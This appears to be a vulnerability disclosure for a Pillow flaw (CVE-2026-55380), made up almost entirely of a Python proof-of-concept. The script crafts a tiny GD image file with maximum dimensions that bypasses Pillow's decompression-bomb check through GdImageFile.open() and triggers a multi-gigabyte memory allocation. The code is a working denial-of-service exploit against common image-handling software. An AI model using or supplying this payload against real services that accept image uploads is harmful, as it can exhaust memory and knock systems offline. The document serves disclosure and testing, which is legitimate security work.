CVE-2026-55380: Pillow GdImageFile Decompression Bomb (DoS)

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file -> 4.3 GB C-heap allocation, NO bomb check
Verified on Pillow 12.2.0
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig         = struct.pack(">H", 0xFFFE)      # 65534 = GD 2.x magic
w           = struct.pack(">H", 65535)        # max width  (unsigned 16-bit)
h           = struct.pack(">H", 65535)        # max height (unsigned 16-bit)
true_color  = b"\x00"                         # 0 = palette mode
tindex      = struct.pack(">I", 0xFFFFFFFF)   # > 255 = no transparency
colors_used = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called -- 4.3 GB allocation not blocked")

# Trigger load_prepare() -> Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) -- C-heap allocation already attempted")

print(f"\n[MATH]   {65535*65535:,} pixels = {65535*65535/(Image.MAX_IMAGE_PIXELS*2):.1f}x error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")